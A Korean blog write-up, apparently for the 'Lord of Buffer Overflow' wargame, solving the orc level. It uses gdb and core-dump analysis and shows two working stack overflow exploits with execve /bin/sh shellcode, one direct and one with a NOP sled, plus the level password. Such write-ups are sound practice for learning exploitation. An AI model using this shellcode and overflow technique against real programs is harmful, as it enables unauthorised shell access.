orc 실행파일을 복사해서 gdb로 실행해 보자.

0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]  //buffer 주소 ebp-40
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]

strcpy의 인자로 buffer가 전달되기에 ebp-40이 buffer의 주소임을 알 수 있다.

첫 번째 방식

buffer(40 bytes)에 쉘 코드를 삽입하고 해당 주소로 retn하도록 하면 쉘 코드가 실행될 것이다.

쉘 코드는 25 bytes라서 buffer를 이용하면 충분히 bof 공격이 가능하다.

우선 orc를 ORC로 복사해서 gdb를 실행하였다.

argv[1]에는 쉘 코드(25 bytes)+"A"(19 bytes)+임의의 retn 주소를 전달하였다. 이를 통해 쉘 코드의 시작 주소를 알아내었다.

쉘 코드 시작 주소: 0xbffffab0

(gdb) b *main+189
Breakpoint 2 at 0x80485bd
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/30x $ebp-44
0xbffffaac:	0x00000016	0x6850c031	0x68732f2f	0x69622f68
0xbffffabc:	0x50e3896e	0x31e18953	0xcd0bb0d2	0x41414180
0xbffffacc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffadc:	0xbfbfbfbf	0x00000000	0xbffffb24	0xbffffb30
0xbffffaec:	0x40013868	0x00000002	0x08048450	0x00000000
0xbffffafc:	0x08048471	0x08048500	0x00000002	0xbffffb24
0xbffffb0c:	0x08048390	0x0804860c	0x4000ae60	0xbffffb1c
0xbffffb1c:	0x40013e90	0x00000002

ORC를 실행하며 인자로 retn 주소는 0xbffffab0을 주었다.

[goblin@localhost goblin]$ ./ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xb0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAA°
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q
Core was generated by `./ORC 1󿿐h//shh/bin⏓󿲒°
                                            ̀AAAAAAAAAAAAAAAAAAA°󽥮
Program terminated with signal 11, Segmentation fault.
#0  0xbffffab0 in ?? ()
(gdb) x/50x $esp -70
0xbffffaaa:	0xfae84010	0x85d3bfff	0x86590804	0xfac00804
0xbffffaba:	0x0017bfff	0xc0310000	0x2f2f6850	0x2f686873
0xbffffaca:	0x896e6962	0x895350e3	0xb0d231e1	0x4180cd0b
0xbffffada:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffaea:	0xfab04141	0x0000bfff	0xfb340000	0xfb40bfff
0xbffffafa:	0x3868bfff	0x00024001	0x84500000	0x00000804
0xbffffb0a:	0x84710000	0x85000804	0x00020804	0xfb340000
0xbffffb1a:	0x8390bfff	0x860c0804	0xae600804	0xfb2c4000
0xbffffb2a:	0x3e90bfff	0x00024001	0xfc2e0000	0xfc34bfff
0xbffffb3a:	0x0000bfff	0xfc650000	0xfc76bfff	0xfc8ebfff
0xbffffb4a:	0xfcadbfff	0xfccfbfff	0xfcdbbfff	0xfe9ebfff
0xbffffb5a:	0xfebdbfff	0xfed9bfff	0xfeeebfff	0xff0cbfff
0xbffffb6a:	0xff17bfff	0xff30bfff

core dumped가 발생했다. core 파일을 gdb로 들여다보았다. 그 결과 쉘 코드 주소가 0xbffffac0으로 바뀌어 있었다.

이제 orc 파일을 실행해 보자. retn 주소는 0xbffffac0으로 설정한다.

[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xc0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAzÿ¿
bash$ my-pass
euid = 504
cantata

두 번째 방식

40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 retn 주소(4 bytes)를 뒤에 전달할 \x90 주소중 하나로 선택한다. 이어서 '\x90'을 여유 있게 채우고 쉘 코드를 삽입한다. 이렇게 하면 main 함수 프롤로그 과정에서 retn에 의해 \x90 주소 중 하나로 이동하고, \x90은 NOP이기에 CPU는 \x90이 아닌 값이 나올 때까지 건너뛴다. 그러다가 쉘 코드를 만나서 실행하게 되는 것이다. retn 주소로 0xbffffa6c를 선택했다. 참고로 과정은 생략했는데 0xbffffa6c는 gdb 실행을 통해 알아내면 된다.

argv[1]에 전달하는 인자의 길이에 따라 스택의 메모리 주소 값이 달라진다. 이 점을 주의해서 retn 주소를 설정해야 한다. 나는 '\x90'의 개수를 200개로 설정했는데 100개로 한다면 주소값들이 200개일 때와 달라진다.

(gdb) r `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/goblin/orc2 `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/100x $ebp-44
0xbffff9cc:	0x00000016	0x41414141	0x41414141	0x41414141
0xbffff9dc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9ec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9fc:	0xbffffa6c	0x90909090	0x90909090	0x90909090
0xbffffa0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090---Type <return> to continue, or q <return> to quit---

0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0x90909090	0x90909090	0x90909090	0x6850c031
0xbffffacc:	0x68732f2f	0x69622f68	0x50e3896e	0x31e18953
0xbffffadc:	0xcd0bb0d2	0x08040080	0x0000000b	0x000001f
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl󿐐1󿿐h//shh/bin⏓󿲒°
                                                             ̀ 
bash$ my-pass
euid = 504
cantata​

`python ~~~' 명령어에 대해 궁금하면 내 티스토리의 ftz level11 글을 참고하길 바란다.

orc의 비밀번호: cantata

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21

+ Recent posts